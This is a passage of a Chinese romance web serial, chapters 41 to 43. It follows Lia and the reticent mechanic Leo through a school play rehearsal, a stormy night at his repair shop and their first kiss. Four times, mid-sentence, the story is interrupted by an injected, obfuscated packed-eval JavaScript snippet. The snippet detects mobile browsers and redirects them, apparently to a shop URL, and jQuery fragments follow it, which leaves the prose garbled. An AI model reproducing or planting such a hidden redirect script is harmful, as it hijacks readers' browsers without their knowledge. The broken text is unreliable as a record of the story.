他放下水壶，走了过来，没看莉娅，直接蹲下身检查自行车的链条。手转动了一下脚踏，观察着链条和齿轮的状况，然后拿起放在墙边的工具。 两人之间是长久的沉默，只有工具和金属接触的细微声响。利奥熟练地将链条重新挂回齿轮上，调整了一下变速器的位置，又给链条上了点油。 “昨晚喝醉了？”他终于开口，声音低沉像是随口问起，但目光依旧专注在手上的活儿上，没有看她。 莉娅微微怔了一下：“你怎么知道？” “老厄尔，”利奥简单地说出一个名字。 是酒馆的常客之一，一个开破旧皮卡、总爱吹牛的老头，“他那辆破车的传动轴有问题，今天一早开来让我看，等着的时候说起昨晚酒馆的事。” 他拧紧了最后一颗螺丝，用手转动脚踏，链条顺畅地运行起来。 当时老厄尔就坐在修理铺里那张唯一的破 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16903510|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旧椅子上，看着利奥钻在车底检查传动轴，嘴里喋喋不休：“……昨晚‘鲈鱼喉”可热闹了，莉齐和莉娅那两个丫头在那儿瞎调酒，哈哈，莉娅那姑娘没喝几杯就趴下了，还是莉齐把她扛上去的……说起来利奥，莉安这次回来好像不一样了哈？到底是见过大世面的……” 利奥在车底下，听着老厄尔的话，手里的扳手停顿了一下。 为什么要跟他说这个呢？ 这镇上的人，似乎早就用一种理所当然的、心照不宣的目光，将他与莉娅绑定在一起。仿佛她的一切动向，最终都应该传到他耳朵里。 两人有什么样的关系呢？ 利奥在心里问自己。 邻居？儿时玩伴？他帮她修过无数次东西，然后呢？ 一种烦躁和莫名的涩意在他胸腔里蔓延。 他没有接老厄尔的话茬，只是更加用力地拧紧了传动轴上的一个螺母。 * 莉娅明白了那未言明的部分。 面对他们，小镇的人们总是带着某种善意的撮合。 她看着利奥蹲在地上、专注地最后检查自行车轮胎气压的侧影，忽然清晰地想起了那次在品酒会上，与那个彬彬有礼的花花公子交谈时的感受。 需要时刻绷紧神经，揣摩对方言外之意， 而现在和利奥在一起即使是在沉默和冷战中，她也无需任何伪装和防备。 他的沉默是诚实的，他的帮助是实实在在的，没有那些虚浮的社交辞令和难以捉摸的暗示。 她缓缓地蹲下身，让自己与利奥保持在同一个视平线上。这个动作让利奥终于抬起头，看向她。 他的眼神里带着疑问。 莉娅迎着他的目光，声音很轻，但却清晰地说道：“利奥。” 她停顿了一下，仿佛在积蓄勇气，然后继续说：“我以后……能时常来找你吗？” 她没有解释“来找你”做什么，可能是修东西，可能只是说说话，或者就像现在这样，只是待在一旁。 修理铺里只剩下旧风扇转动时发出的嗡嗡声，以及远处街道上偶尔传来的汽车喇叭声。 利奥没有立刻回答。 他完成了对轮胎的检查，慢慢直起身，将工具放回墙上的挂架，动作显得有些迟缓。 莉娅的问题就这么悬在空中。 他转过身目光再次落在她身上，这一次看得更久一些。 “找我？”他终于重复了一遍，“修东西？” 莉娅依然蹲在那里，仰头看着他，摇了摇头，幅度很小：“不一定。” 她轻声说，“也许只是……说说话，或者就像现在这样。” 她的目光坦诚而直接，没有躲闪，这反而让利奥有些无所适从。 他习惯于解决问题，习惯于面对具体的、可触摸的故障，而不是这样模糊的请求。他下意识地避开了她的视线，望向门外街道上偶尔驶过的车辆。 “镇上……有很多人可以说话。”他闷声说道。 安娜阿姨的热情，莉齐的爽朗，甚至老厄尔的絮叨，似乎都比他的沉默更适合陪伴。 “我知道。” 莉娅的声音依旧平静，“但他们是他们，他们不是你。” 利奥沉默着。 41. chapter 41 他想起老厄尔那些意味深长的话，想起镇上人们看他时那种了然的眼神。 他们都觉得他和莉娅应该在一起。 可是，差距呢？那些随着时间流逝而越来越清晰的鸿沟呢？ 她笔下描绘的世界，她呼吸过的空气，她接触过的人群，与他终日打交道的机油、扳手和这片沉默的土地，是如此的不同。 莉娅看着他紧抿的嘴唇和微微蹙起的眉头，没有催促。 她只是耐心地等待着仿佛有无尽的时间，阳光透过修理铺的窗户，灰尘在光柱中缓缓飞舞。 这沉默并不令人窒息。 良久利奥才极其缓慢地转过头，目光重新落在莉娅脸上，他的眼神不再那么紧绷。 他没有说“好”，也没有说“不好”。 而是转身走向工作台，拿起一块干净的抹布，开始慢条斯理地擦拭刚才修自行车时沾上油污的双手。 他的动作很慢，很仔细。 莉娅看着他的背影，缓缓站起身，拍了拍膝盖上可能沾到的灰尘。 她走到自行车旁，扶住车把。链条运转顺畅，轮胎气也足。 利奥擦完手，将抹布搭回原处，依旧背对着她，声音低沉地传来，像是经过了一番艰难的思量：“车……修好了。” 莉娅轻轻“嗯”了一声：“谢谢。” 她推着自行车，准备离开。 走到门口时，她停下脚步，没有回头只是轻声说：“我先去杂货铺了。” 利奥没有回应，但莉娅能感觉到，他的注意力仍在身后。她推着车走进了门外明亮的阳光里，车轮碾过地面发出轻快的声响。 她知道他们之间的冷战也未必就此结束。 问题还没有解决。 她骑上自行车，向着安娜阿姨的杂货铺驶去。 风吹起她的发丝，街道两旁的房屋和树木向后退去，小镇的生活依旧按照自己的节奏缓缓流淌。 未来的路会怎样她不知道，但至少在此刻，她愿意推着这辆修好的自行车，继续前行。 莉娅骑着修好的自行车，车轮轻快地碾过小镇的街道，来到安娜阿姨的杂货铺。 门铃叮当作响，安娜阿姨正踮着脚给货架上层补货，听到声音回过头。 “莉娅正好，帮我扶一下凳子。” 安娜阿姨指挥道，手里抱着一罐腌黄瓜。 莉娅停好车，进去扶稳了凳子。安娜阿姨利落地放好罐子，爬下来，拍了拍手上的灰。 “买点什么？今天进的苹果不错。” 莉娅把采购清单递过去。 安娜阿姨一边照着清单麻利地捡货，一边絮叨着镇上的新闻：“对了，你听说了吗？学校话剧社的那位帕姆老师，就是那个圆滚滚的、对艺术特别认真的帕姆，她看中了你的短篇故事《银月森林的冒险》，想把它改编成话剧在学期末演出。” 莉娅有些惊讶，那本书是她很早以前投稿给儿童杂志的短篇故事。 关于一群孩子进入神秘森林、团结协作打败阴影巨兽的童话冒险故事，带着点少年漫的色彩。 “帕姆老师可重视了，”安娜阿姨把一袋面粉放进莉娅的车筐，“你是不知道，上次他们排的那个戏社区报那个尖酸刻薄的评论家威尔逊先生，写了快大半版差评，把帕姆老师气得够呛，好几个星期都没缓过来。这次她可是憋着劲要打个翻身仗，你有空可以去看看他们排练，给点意见。” 莉娅付了钱，把东西在车筐里放好后答应下来。 她想了想决定去学校看看。 母校阔别多年变化不大，红砖墙爬满了常春藤。因为是假期校园里很安静，她按照指示牌找到礼堂，推开厚重的门。 舞台上很热闹，一群年龄不一的孩子们正在忙碌。 有的头上戴着用纸板和羽毛做的简陋头饰，代表故事里的精灵或动物。有的衣服上贴着用粗笔写的角色名字，另外几个孩子正趴在一块巨大的木板前用颜料涂抹着森林背景，绿色和棕色混在一起。 一个身材圆润、穿着宽松印花裙子和软底鞋的妇女正站在舞台中央，挥舞着双臂指导着。 “不对不对，丽莎你是勇敢的小队长莉娜，发现陷阱时要警觉，眼神要锐利，不是像看到巧克力蛋糕一样惊喜。”帕姆老师的声音洪亮。 叫丽莎的小女孩不好意思地吐了吐舌头，重新调整了姿势。 另一个扮演淘气树精的小男孩不停地扭来扭去，试图去抓背后粘着的“树叶”。 “比利，树精是调皮不是有多动症，保持住。” 帕姆老师无奈地扶额。 莉娅在礼堂后排找了个位置坐下，看着孩子们稚嫩却投入的表演。他们用夸张的语气念着台词，努力做出各种表情和动作。 虽然粗糙，却充满了活力。 “好，我们再来一遍从发现神秘地图开始。”帕姆老师拍着手喊道。 这时她注意到了后排的莉娅，眼睛一亮，跟助手交代了几句，迈着轻快的步子走了过来。 “噢，天哪。是罗斯小姐吗？真的是你。”帕姆老师热情地伸出手，她的手心有点汗湿，但握力很足，“我是帕姆，话剧社的指导老师，你能来真是太好了。” 莉娅和她握了握手：“安娜阿姨跟我说了改编的事，我正好有空，过来看看。” “怎么样？孩子们很有热情，对吧？”帕姆老师压低声音，但掩不住兴奋，“我们简化了一些情节，重点突出了团队合作和勇气。你笔下的莉娜真是个棒极了的角色，为了争取扮演她，我们可是进行了一场激烈的竞争呢。” 她笑着指了指台上那个叫丽莎的小姑娘，“最后是丽莎靠着她那股不服输的劲头胜出了，她说她就像莉娜一样，绝不会轻言放弃。” 帕姆老师叹了口气，表情变得有些愁苦：“唉，你是不知道，上次那个威尔逊先生把我们批得一无是处，我真是……这次压力很大啊。罗斯小姐，如果你这段时间能常来看看，指导一下，那就太好了。到时候我们宣传说故事的原作者亲自监督排练，肯定能吸引更多人来看，座无虚席。” 她双手合十，眼神充满期待。 莉娅看着台上那些努力的孩子和眼前这位对戏剧充满热忱的老师，点了点头：“好的帕姆老师，我有空会常来的。” * 接下来的日子，莉娅的生活形成了一种新的节奏。 早晨她常常坐在老屋客厅那把旧摇椅上，彩色玻璃投下的光影在她周围缓缓移动。她看书，在笔记本上写写画画，构思新的故事。 这次她写了很多随笔，记录小镇的晨昏、人物的剪影，文字比以往更加平和。 每周一次的读书俱乐部聚会照常进行，米勒太太家的客厅里充满了咖啡香和女人们的交谈声。莉娅也开始定期去学校话剧社，她和孩子们一起用硬纸板制作森林里的奇异植物，帮忙给背景画上色，偶尔也会对台词和动作提出一点小建议。 孩子们很快熟悉了她，叫她“莉娅姐姐”。 往利奥的修理铺跑也成了习惯， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912441|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起因是米勒太太的抱怨：“那修理铺里连个像样的厨房都没有，真不知道利奥一天三顿是怎么糊弄的，肯定又是啃冷面包和罐头。” 于是，莉娅去话剧社时往往会顺路用油纸包上两个自己做的火腿奶酪三明治，或者一块苹果派，带去修理铺。 修理铺的阁楼有一扇小窗，能看到远处的湖泊和更远的山峦。 利奥在铺子里搭了个简陋的吊床，帆布材质的，沾了机油用抹布一擦就干净。 当他满手油污时，她就放下食物不打扰他，自己找个不碍事的角落，打开随身带的书看。 利奥从未再说过“你不该在这里”之类的话，也没赶她走。 时间久了，莉娅对修理铺里各种工具的摆放位置也熟悉起来。当利奥需要帮手递个扳手或螺丝刀时，有时会简短地说个工具名，莉娅就能准确地找到并递过去。 他没有再招学徒，什么都自己干，有个顺手递工具的人确实省事不少。 “话剧社排得怎么样了？”利奥在给一台发动机检修时时，突然开口问。 他低着头，手里动作没停。 “还行，孩子们很努力，帕姆老师希望演出时能座无虚席。” 莉娅一边回答，一边把扳手递给他。 “嗯。”利奥应了一声，“我母亲……她最近怎么样？腰还疼吗？” “还好，周一举办读书俱乐部的时候精神不错。安娜阿姨送了她一些草药茶，说是有舒缓作用。” “那就好。” 对话总是这样简短，没有多余的寒暄。 有时活儿不忙，莉娅带来的食物会被一起分食。两人就坐在工具箱或旧轮胎上沉默地吃着三明治，听着窗外街道上的声音。莉娅会继续看她的书，利奥可能会拿起一本过期的汽车杂志翻看，或者只是看着门外发呆。 那天从学校话剧社出来时，天已经彻底黑透了。 晚风带着凉意，云层压得很低，空气中弥漫着雨前特有的土腥气。 莉娅没直接回家，而是绕道去了镇中心那家叫“黛西小厨”的家庭式餐馆。餐馆玻璃窗上凝着水汽，透出温暖的光。 她推门进去，铃铛响动。老板老杰克正在柜台后擦杯子，看见她后圆脸上立刻堆起笑容。 “嘿莉娅，这么晚了，吃过了吗？” “还没，杰克叔叔。我想打包两份晚餐。”莉娅走到柜台前看着手写的菜单牌。 “正好，今天的炖牛肉是招牌，用了我家传的方子，小火慢炖了四个钟头，土豆和胡萝卜都入味了。还有刚烤好的苹果派，糖放得不多，你们肯定喜欢。” 老杰克热情地推荐着，一边麻利地拿出两个厚重的纸餐盒。 “那就炖牛肉吧，两份，苹果派也要一块。”莉娅说。 老杰克一边装盒，一边絮叨：“对了，另一份是给利奥那小子带的吧？嘿上次他可是帮了我大忙，我那辆老送货车的变速箱都快散架了，他愣是给我修好了，还没收几个钱，说是旧零件凑合用的。这顿饭算我的，可不能收钱。” 他把散发着浓郁肉香和饼皮香气的纸袋塞给莉娅，不由分说。 莉娅道了谢，接过袋子。 老杰克凑近一点，压低声音，带着点促狭的笑意问：“利奥最近忙啥呢？好些天没见他过来吃饭了，就窝在他那修理铺里？” 莉娅顿了一下，自然地回答：“嗯，好像接了几个大件的修理活儿。” 她发现自己现在能很顺畅地说出利奥的近况，心里微微一动。 42. chapter 42 提着温暖的食盒，莉娅走向修理铺。远远就看到卷帘门半开着，里面透出昏黄的灯光，走近了能听到里面传来有节奏的金属敲击声。 她弯腰钻了进去。 利奥正蹲着，手里拿着一个气缸活塞，用细砂纸仔细地打磨着积碳。听到脚步声他抬起头，额头上带着汗珠，油污在脸颊上蹭了几道。 莉娅举起手里的纸袋：“黛西小厨的炖牛肉，老杰克非要请客，感谢你上次修好了他的送货车。” 利奥没说什么，放下活塞走到角落的水池边，用肥皂和板刷仔细地清洗双手和脸上的油污。修理铺里很多东西都是他自己打造或改装的，比如那个可以调节高度的维修台，还有墙上根据工具形状切割出的收纳板。 实用至上，至于整洁，显然不是优先考虑的事项。 利奥洗完手，角落里有一张旧沙发，上面随意搭着一件沾满油污的工装外套，他走过去拿起那件工装外套，把它摊开铺在沙发上看起来相对干净的一块区域。 “坐这儿吧。”他说完，自己则直接坐在了沙发旁边一个倒置的木头货箱上，毫不在意上面的灰尘。 莉娅坐下，打开纸袋拿出餐盒，炖牛肉的香气立刻在充满机油味的空间里弥漫开来。 利奥养的的那条叫扳手的狗原本趴在工作台下打盹，闻到香味立刻凑了过来，湿漉漉的鼻子使劲嗅着，尾巴摇得像螺旋桨，前爪抬起试探性地想往莉娅膝盖上搭，眼睛直勾勾地盯着牛肉。 “扳手，下去。”利奥低声呵斥了一句。 莉娅笑了笑，伸手摸了摸扳手粗糙的头顶：“没事，它很乖。” 她掰了一小块面包，蘸了点肉汁递给狗狗。扳手小心翼翼地叼过去，呜咽着表示感谢，趴在一旁享用起来。 两人沉默地吃着饭，外面的天色越来越沉，终于豆大的雨点噼里啪啦地砸了下来，很快就连成了雨幕，哗啦啦的声响充斥耳膜，雨水顺着半开的卷帘门缝隙溅进来一些。 吃完饭，雨势丝毫没有减弱的迹象。 莉娅走到那个老旧的收音机旁，拧开开关。一阵杂音后传出台风急促的声音：“……气象局发布暴雨预警，预计未来三小时降雨量将达到……请市民尽量减少外出……” 她调了调旋钮换到一个音乐频道，舒缓的爵士乐流淌出来，稍稍冲淡了屋外的雨声和屋内的寂静。 利奥坐在货箱上，离她有几步远。他从工装裤口袋里掏出一个打火机，在手里无意识地翻弄着，打开合上，砂轮摩擦发出细小的“咔哒”声，幽蓝的火苗窜起又熄灭。 他似乎想抽烟，但看了一眼莉娅，最终还是没有把烟拿出来，只是重复着玩打火机的动作。 收音机里的音乐低沉婉转，屋外暴雨如注，屋内灯光昏黄，只有打火机开合的轻微声响和狗狗舔舐嘴巴的声音。两人之间隔着一段距离，空气仿佛变得粘稠，莉娅能感觉到利奥偶尔投来的、很快又移开的目光。 她站起身，收拾好空餐盒：“雨好像小了点，我该回去了。” 利奥停下玩打火机的动作，抬头看她，雨水从他身后的门缝溅入在地上形成一小片水洼。 “雨太大了，”他的声音在雨声中显得有些低沉，“路上积水看不清，不安全，今晚……就在这里住吧。” 莉娅看向门外如瀑布般的雨幕，犹豫了一下。 利奥站起身，走到楼梯口：“你睡楼上，我睡吊床。” 他说完，率先走上吱呀作响的木楼梯。 * 阁楼比楼下整洁些，但也充满了利奥的气息。 一张简单的单人床，铺着灰色的床单。一个旧衣柜，门关不严。墙上钉着几张泛黄的汽车海报和地图。那扇能看到远方的小窗此刻被雨水模糊，只能看到外面一片混沌的光晕。 利奥从衣柜里翻出一件洗得发白的灰色纯棉T恤和一条同样旧的运动裤，递给莉娅：“干净的，可能有点大。” 他的语气没什么起伏。 “谢谢。”莉娅接过衣服。 利奥没再多说，转身下了楼。过了一会儿楼下修理铺的灯熄灭了，只有窗外路灯的光透过雨幕，给阁楼带来微弱的光亮。 莉娅能听到楼下传来轻微的响动，大概是利奥在整理吊床。 她换上那套衣服，果然很宽松，带着一股淡淡的肥皂味和阳光晒过的味道。 她躺在单人床上，床垫有些硬，但还算舒适。 雨声敲打着屋顶和窗户，本以为在这样陌生的环境里会难以入睡，但或许是因为一天奔波，或许是雨声有催眠的效果，她竟渐渐有了睡意。 迷迷糊糊间，听到木楼梯传来轻轻的脚步声。扳手的狗爪子踩在木头上的声音很清晰，狗狗上了阁楼，走到床边嗅了嗅，然后安静地卧在了她的脚边，发出满足的叹息声。 毛茸茸的身体传来温暖的触感。 莉娅伸手，在黑暗中摸索着摸了摸扳手的头，狗狗舒服地哼唧了一声。 楼下很安静，只有雨声，但莉娅知道利奥也没睡着。过了好一会儿他的声音从楼下传来，透过雨声，有些模糊，“睡不着？” “嗯。”莉娅应了一声，“雨声太吵了。” 这不算完全的实话。 楼下沉默了片刻，然后利奥的声音又响起，这次近了一些，好像他坐了起来：“阁楼窗户有点漏雨，用盆接着了，你那边没事吧？” “没事，很干爽。”莉娅回答。 又是一阵沉默，只有雨声和狗狗平稳的呼吸声。 “话剧社的戏，”利奥突然开口，话题转得有些生硬，“什么时候演？” “月底，帕姆老师很紧张，希望别再被那个评论家骂了。” “哦。”楼下应了一声。 过了一会儿，又说：“故事……挺好的，孩子们喜欢。” 莉娅知道他说的是《银月森林的冒险》，他看过？也许是从玛莎阿姨那里听说的？ 她没有问，只是轻轻“嗯”了一声。 “你写的……那些故事，”利奥的声音低沉，似乎每个字都经过斟酌，“都挺好。” 这句话让莉娅的心跳了一下，他指的是她发表在其他地方的文章？他有关注过？ “你看过？” “嗯。”楼下传来一声简单的回应。 然后是更长的沉默，仿佛刚才的对话耗尽了所有的力气。 雨还在下，没有停歇的意思。阁楼和楼下之间，隔着一段黑暗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16925362|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的空间和滂沱的雨声。 莉娅听着雨声和楼下隐约的呼吸声，渐渐沉入睡眠。这一次她没有再梦见遥远的都市或喧嚣的舞会，梦境里是安静的橡林镇和窗外连绵的雨。 第二天清晨，雨势并未减弱，依旧哗啦啦地敲打着修理铺的铁皮屋顶，像无数颗小石子持续不断地砸落。 莉娅醒得比往常早，阁楼里光线昏暗。 扳手也醒了，毛茸茸的大脑袋凑过来，湿乎乎的鼻子蹭她的手。 莉娅对狗狗比了个“嘘”的手势，轻轻起身。她穿上昨晚换下的、已经有些皱的自己的裙子，把利奥那套宽大的衣裤仔细叠好放在床边。 她轻手轻脚地下楼，尽量不发出声音。雨声很大，掩盖了她大部分的动作。 楼下，修理铺里弥漫着破晓时分的灰暗光线和机油、雨水混合的潮湿气味。利奥还在吊床上睡着，那张帆布吊床对于他高大的身形来说显然有些局促，他只能微微蜷缩着，一条长腿随意地垂落搭在地上，另一条腿曲着。 他手臂枕在脑后，眉头即使在睡梦中似乎也微微蹙着，看起来睡得并不舒服。身上的薄毯子滑落了一半，搭在腰际。 莉娅放轻脚步走过去，小心翼翼地拉起滑落的毯子，重新盖到他肩膀上。然后她慢慢地蹲下身，在昏暗中静静地看着他的睡颜。 雨声嘈杂，却仿佛为这一刻隔绝出了一个安静的空间。他的脸部的线条在睡眠中显得柔和了一些，但下颌的轮廓依旧硬朗。 就在这时，“哐哐哐”一阵急促而用力的敲击声砸在卷帘门上，莉娅吓了一跳，下意识地看向吊床。利奥几乎是立刻睁开了眼睛。 他也听到了敲门声和夹杂在雨声中的呼喊：“利奥，利奥，你在吗？急事！” 莉娅站起身，看了一眼利奥。 利奥已经迅速地从吊床上坐起，动作利落。他朝莉娅点了点头，示意可以去应门。 莉娅走到卷帘门前，费力地向上拉起一小段。门外站着一个披着湿透雨衣的男人，是镇上的渔夫汉克，他脸上满是雨水和焦急。 对方看到应门的是莉娅，明显愣了一下，但立刻被急切取代：“莉、莉娅？利奥在吗？我的船用发动机突然熄火了，怎么也打不着，今天要是不能出海耽搁了交货，损失就大了，这鬼天气……”他语无伦次，雨水顺着他的雨衣帽檐往下淌。 “在。”利奥低沉的声音从莉娅身后传来。 他已经走了过来，站在莉娅身边。 “怎么回事？具体说说。”他一边问，一边已经开始转身去拿挂在墙上的厚重橡胶雨衣。 汉克急忙描述着发动机的故障现象，利奥快速穿上雨衣，语气简洁：“可能是火花塞淹了，或者油路问题，得现场看看。” 他拉起了大半截卷帘门，风雨立刻裹挟着湿气灌了进来。 汉克的旧皮卡车就停在门外，车斗里放着那台出故障的船用发动机，看起来又重又脏。雨大得像是从天上倒下来一样，地面上已经有了积水。 利奥二话不说，走到车斗边示意汉克帮忙把发动机抬下来。发动机很沉，两个人抬也很吃力。 “过来搭把手，扶稳这边。”利奥朝莉娅喊道，声音在雨声中有些模糊。 43. chapter 43 没有多余的雨衣，莉娅也顾不上那么多。 身上还穿着那条单薄的裙子就直接冲进雨幕，按照利奥的指示，用尽全力扶住发动机湿滑的一角。雨水瞬间浇透了她的头发和衣服，三个人合力终于将沉重的发动机挪到了修理铺门口能稍微遮点雨的地方。 利奥蹲下打开随身携带的工具包，开始拆卸发动机外壳。 汉克在旁边打着下手，递工具，但明显有点束手无策。雨水不停地泼洒进来，利奥的工作进行得很艰难，他需要有人稳稳地扶住某个部件，或者用手电筒照照。 “莉娅手电，对准这里。扶住这个，别让它转动。” 莉娅抹了一把脸上的雨水，努力照做。她的裙子湿透了紧贴在身上，冷得微微发抖，但注意力完全集中在利奥的要求上。 她的参与确实帮上了忙，让利奥能腾出手来进行别的操作。 时间在暴雨和紧张的维修中流逝，终于在经过一番调试后，利奥用启动绳猛地一拉，发动机发出了一阵咳嗽般的突突声，接着竟然平稳地运转起来。 汉克激动得差点跳起来。 “应该是油路里进了点水，加上火花塞间隙有点问题。”利奥关掉发动机，“暂时好了，但最好找个晴天再彻底检查一下。” 汉克说了好多声谢谢，和利奥一起把发动机抬回车上，然后急匆匆地开车走了。 卷帘门被重新拉下隔绝了外面的大部分风雨声，修理铺里瞬间安静下来。 利奥脱下滴水的雨衣，挂回墙上。他转过身看到莉娅还站在原地，浑身湿透，头发也粘在脸上和脖子上，裙子滴着水，她的嘴唇有些发白，可能是因为冷。 利奥没说话，走到衣柜旁拿出一件他平时穿的厚绒布衬衫。他走过来，直接披在了莉娅瑟瑟发抖的肩膀上。 他的动作有些生硬，脸上也没什么表情，依旧是板着的：“去楼上，用热水冲一下。” 目光扫过她湿透的衣服时，快速移开了。 莉娅裹紧了带着他体温和气息的衬衫，点了点头，转身上了阁楼。 * 阁楼狭小的洗漱间里，热水冲刷着皮肤。 莉娅快速洗了个澡，洗掉雨水和机油味。她换上利奥给她的T恤和运动裤，用毛巾擦着身体。然而头发太长太密，一时半会儿根本擦不干，水珠顺着发梢不停地往下滴，落在脖子和锁骨上。 她拿着毛巾，一边擦着头发一边走下楼梯。 利奥已经换掉了湿衣服，穿着一件干的旧T恤和工装裤，正站在工作台前用一块干净的布擦拭着刚才用过的工具。 听到脚步声，他抬起头。 莉娅的头发还是湿漉漉的，水滴不断地落下来。利奥放下手里的工具和布走到她面前，沉默地拿过她手里的毛巾。 莉娅微微愣了一下，没有拒绝。 他动作算不上特别轻柔甚至有点笨拙，但很仔细，用毛巾包裹住她的长发，一下一下地揉擦，试图吸走多余的水分。 修理铺里很安静，莉娅能感觉到他手掌隔着毛巾传来的温度和力量。 “冷吗？”他忽然问，声音在近距离听来比平时更加低沉。 他手上的动作没停。 莉娅刚想转头回答“不冷了”，却在转动脖颈的瞬间，意识到两人之间的距离是如此之近。她几乎能数清他低垂眼眸时睫毛的阴影，能闻到他身上刚刚换过的干净T恤的皂角味。 她的动作僵住了。 利奥为她擦头发的动作也似乎放缓了，他的视线原本落在她的湿发上，此刻却不由自主地顺着滴落的水珠，滑过她光洁的脖颈，最后定格在她的唇瓣上。 他的目光在那里停留了几秒，喉结轻微地滚动了一下。 空气仿佛凝固了，雨声是唯一的背景音。 是莉娅先动的。 她几乎没有思考，像是被某种本能驱使微微踮起脚尖，仰起头轻轻地碰了一下他的嘴唇。 触感温热，一触即分。 时间仿佛静止了一秒。 小时候他们当然亲过，她摔破膝盖，他会学着大人的样子笨拙地对着伤口“呼呼”，偶尔会凑近用嘴唇碰一下伤口周围，说“亲一下就不疼了”。他们也见过安娜阿姨见到喜欢的小辈时，会豪爽地捧着对方的脸，在左右脸颊上各亲一下，发出响亮的“啵”声，他们觉得好玩也模仿过。 但那都是很久以前孩童时代模糊而纯真的游戏。 这个吻不同。 短暂轻微，却瞬间掀开了所有的隔阂和故作镇定。 利奥的身体明显僵住了，他看着近在咫尺的莉娅，她抬头就那样看着他，她的眼睛睁得很大。 他披在她肩上的衬衫因为她踮脚的动作滑落了一些。 然后，他做出了反应。 扔掉了手里的毛巾，一只手托住了她的后颈，另一只手环住了她的腰，将她更紧地拉向自己。 低下头，深深地回吻了她。 这个吻不再是蜻蜓点水。 它充满了雨水、肥皂和彼此的气息，充满了多年来未曾言明的一切。 并不温柔，更像是一场压抑了太久的暴风雨。 利奥的手掌粗糙，托着莉娅的后颈，另一只手臂紧紧环着她的腰，几乎要将她嵌进自己的身体里。莉娅仰着头，回应着这个迟来了太久的亲吻，手指无意识地攥紧了他胸前的T恤布料，布料下是坚实而滚烫的体温。 空气中有的是急促的呼吸声和窗外永不停歇的雨声。 他抱着她，一步步退向那张旧沙发，动作间撞到了旁边的工具架，一个扳手“哐当”一声掉在地上，但谁也没去理会。 帆布沙发承受着两人的重量，利奥的吻从她的唇瓣移开，落在她的下颌、脖颈，带着一种近乎啃咬的力度，仿佛要在她身上打下烙印。 莉娅闭着眼，指尖陷入他紧绷的臂膀肌肉。 就在这意乱情迷的时刻，狗狗扳手大概是觉得被冷落了，或者是对这不同寻常的动静感到好奇，它凑了过来，湿漉漉的大鼻子用力地拱着利奥的小腿，发出不满的“呜噜”声。 动作骤然停顿。 利奥的身体僵住，他埋在莉娅颈窝处的头抬起，呼吸粗重。莉娅也睁开了眼睛。 狗狗还在坚持不懈地拱着。 短暂的静止后，利奥低低地咒骂了一句什么，声音沙哑得不成样子。但他并没有立刻起身，而是就着这个姿势将脸重新埋回莉娅的颈侧，深深地吸了一口气，像是在平复自己。 然后他稍微放松了钳制，却依然将她圈在怀里，只是不再有进一步的动作。 莉娅的心跳像擂鼓，她能清晰地感觉到利奥胸腔里同样剧烈的心跳声。两人就这样在狭小的沙发上相拥，听着彼此的呼吸。 过了好一会儿，莉娅才轻声开口：“以后……不会再把我推开了吧？” 利奥抬起头，看着她。 看了好久，之后摇了摇头：“不会了。” 他停顿了一下，像是耗费了很大力气，才吐出后面几个字，“我哪里还舍得。” 莉娅笑了笑，她伸出手轻轻抚摸着他硬朗的脸部线条，指尖触到他下巴上新冒出的、有些扎人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933138|190583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的胡茬。 两人又静静地抱了一会儿，利奥动了动，声音恢复了点平时的调子，但依旧低沉：“饿了吗？” 莉娅点了点头，经过一早上的折腾和刚才的情绪起伏，确实感到饥肠辘辘。 “不过我这儿没什么好东西。”利奥说着终于松开了她，他站起身，顺手把滑落在地上的衬衫捡起来重新披在她身上。 他自己则走向角落那个小冰箱。 打开冰箱，里面的内容确实乏善可陈。 几罐啤酒，一小盒牛奶，半条黄油，还有几个用玻璃罐装着的、标签手写的果酱和腌菜，一看就是米勒太太的手笔。另外还有半条吃剩的面包，看起来有点干硬。 利奥拿出面包、黄油和一瓶看起来是覆盆子酱的果酱，他走到水槽边快速洗了手，然后找出一个盘子。面包直接用刀切成厚片，没有烤，他抹上厚厚的黄油，又涂上一层亮红色的果酱，动作算不上精细，但很利落。 